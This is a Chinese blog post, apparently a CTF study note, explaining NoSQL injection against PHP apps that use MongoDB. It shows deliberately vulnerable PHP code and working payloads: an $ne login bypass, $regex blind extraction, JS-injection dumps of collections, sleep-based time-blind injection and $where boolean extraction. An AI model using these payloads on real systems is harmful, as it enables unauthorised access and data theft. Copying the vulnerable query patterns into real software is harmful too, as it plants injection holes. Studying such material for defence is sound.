前几天看到安恒杯里有一道Mongodb的注入题,搜了一下相关的东西,发现也是比较老的东西了,这里写篇博客记录一下吧..
概括
php中操作mongo类可以用下面两种方法 (1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
$mongo = new mongoclient();
$db = $mongo->myinfo;
$coll = $db->test;
$coll->save();
$coll->find();
$coll->remove();
$coll->update();
|
传入的是一个数组,后面会讲到,这里不细说 (2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
$mongo = new mongoclient();
$db = $mongo->myinfo;
$query = "db.table.save({'newsid':1})";
$query = "db.table.find({'newsid':1})";
$query = "db.table.remove({'newsid':1})";
$query = "db.table.update({'newsid':1},{'newsid',2})"; 改
$result = $db->execute($query);
|
传进的是字符串变量,特别注意一下,字符串的书写语法为js的语法
然后mongodb的操作符,这个挺多的,不一一记了,丢几个重要的,其他在这篇文章里找吧
https://blog.csdn.net/qq_16313365/article/details/58599253
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $eq 语法:{ <field>: { $eq: <value> } } 释义:匹配等于(=)指定值的文档 举例: 查询age=20的文档: db.person.find( { age: { $eq: 20 } } ) 相当于: db.person.find( { age: 20 } )
$ne 语法:{field: {$ne: value} } 释义:匹配不等于(≠)指定值的文档
$regex 语法: { <field>: { $regex: /pattern/, $options: '<options>' } } { <field>: { $regex: 'pattern', $options: '<options>' } } { <field>: { $regex: /pattern/<options> } } 释义:正则表达式查询 举例: db.products.find( { sku: { $regex: /^ABC/i } } )
$where 释义:把一个含有JavaScript表达式的字符串或者是整个JavaScript函数转换到查询系统中,对内嵌文档不起作用 举例: db.myCollection.find( { $where: "this.credits == this.debits" } ); db.myCollection.find( { $where: function() { return obj.credits == obj.debits; } } );
|
攻击
1.最简单的永真判断
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $mongo = new mongoclient(); $db = $mongo->myinfo; $coll = $db->test; $username = $_GET['username']; $password = $_GET['password']; $data = array( 'username'=>$username, 'password'=>$password ); $data = $coll->find($data); $count = $data->count(); if ($count>0) { foreach ($data as $user) { echo 'username:'.$user['username']."</br>"; echo 'password:'.$user['password']."</br>"; } } else{ echo '未找到'; } ?>
|
传入的username和password直接拿去查询,假如我们传入数组,mongodb对于我们的数组会产生解析,举个例子
我们传入
1 2 3
| $data = array( 'username'=>array('xx'=>'test'), 'password'=>'test');
|
然后mongodb解析之后,最终执行了
1
| db.test.find({username:{'xx':'test'},password:'test'});
|
有了这个特性,我们只用注入一个ne即可完成攻击,payload如下
1
| http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test
|
那么我们能不能进一步利用,查出其他的数据呢?是可以的,利用regex来查询即可,这就相当于mysql里面的bool注
2.盲注
这里文中给了一篇14年HCTF的wp,看来这个东西很久之前就已经有人研究过,这里也是学习一下吧...
代码猜测如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php $mongo = new mongoclient(); $db = $mongo->myinfo; $coll = $db->test; $lock = $_POST['lock']; $key = $_POST['key']; if (is_array($lock)) { $data = array( 'lock'=>$lock); $data = $coll->find($data); if ($data->count()>0) { echo 'the lock is right,but wrong key'; }else{ echo 'lock is wrong'; } }else{ if ($lock == 'aabbccdd'&&$key=='aabbccdd') { echo 'Your flag is xxxxxxx'; }else{ echo 'lock is wrong'; } } ?>
|
然后这里只给出了对或错的回显,bool一发
我们这里就简要看下他们的payload
1 2 3 4 5 6 7 8
| key=1&lock[$regex]=^9 key=1&lock[$regex]=^9c key=1&lock[$regex]=^9cc key=1&lock[$regex]=^9cc3 key=1&lock[$regex]=^9cc32 key=1&lock[$regex]=^9cc32b key=1&lock[$regex]=^9cc32bd key=1&lock[$regex]=^9cc32bd6
|
正则匹配看lock的值是否为后面的值即可,逐位爆即可
字符串拼接
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php $username = $_GET['username']; $password = $_GET['password']; $query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
$mongo = new mongoclient(); $db = $mongo->myinfo; $data = $db->execute($query); if ($data['ok'] == 1) { if ($data['retval']!=NULL) { echo 'username:'.$data['retval']['username']."</br>"; echo 'password:'.$data['retval']['password']."</br>"; }else{ echo '未找到'; } }else{ echo $data['errmsg']; } ?>
|
看到关键部分
1
| $query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
|
还记得前面提到的吗?mangodb的字符串拼接语法为js,那么我们只要用js语法进行构造即可,原理和普通的mysql的注入一样,只不过语言发生了小改变而已
比如我们可以写payload
1
| http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test
|
返回的是username为1,password为2
然后提一点,就是execute方法可以多语句执行,不演示,这里就列出几个payload吧
1 2 3 4 5 6 7 8
| http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test //爆mangodb版本
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test //爆test集合第一条数据
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[1]),password:2};//&password=test //爆test集合第二条数据
|
sleep
高版本里增加了sleep函数,那么就可以在无回显的时候进行时间盲注了,不过似乎高版本里不能用注释语句,那么闭合就好了
payload
1 2
| http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test //延时10s
|
where
mangodb的where就和sql语句的where差不多,where的用法前面已经提到,是通过引入一个js函数来作为限制,当函数中存在未过滤的用户输入的时候,注入就产生了
实例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $mongo = new mongoclient(); $db = $mongo->myinfo; $coll = $db->news; $news = $_GET['news']; $function = "function() {if(this.news == '$news') return true}"; echo $function; $result = $coll->find(array('$where'=>$function)); if ($result->count()>0) { echo '该新闻存在'; }else{ echo '该新闻不存在'; } ?>
|
相当于sql语句
1
| select * from news where news='$news'
|
检测注入的payload
1 2 3 4 5 6 7 8
| http://127.0.0.1/3.php?news=test' //错误
http://127.0.0.1/3.php?news=test'&&'1'=='1 //正确
http://127.0.0.1/3.php?news=test'&&'1'=='2 //错误
|
提取信息的payload
1 2 3 4 5 6 7 8
| http://127.0.0.1/3.php?news=test'&&db.getCollectionNames().length>0&&'1'=='1 //查看集合数量
http://127.0.0.1/3.php?news=test'&&db.getCollectionNames()[0].length==6&&'1'=='1 //查看集合名称长度
http://127.0.0.1/3.php?news=test'&&db.getCollectionNames()[0][0]=='m'&&'1'=='1 //爆数据
|
参考文章 https://www.secpulse.com/archives/3278.html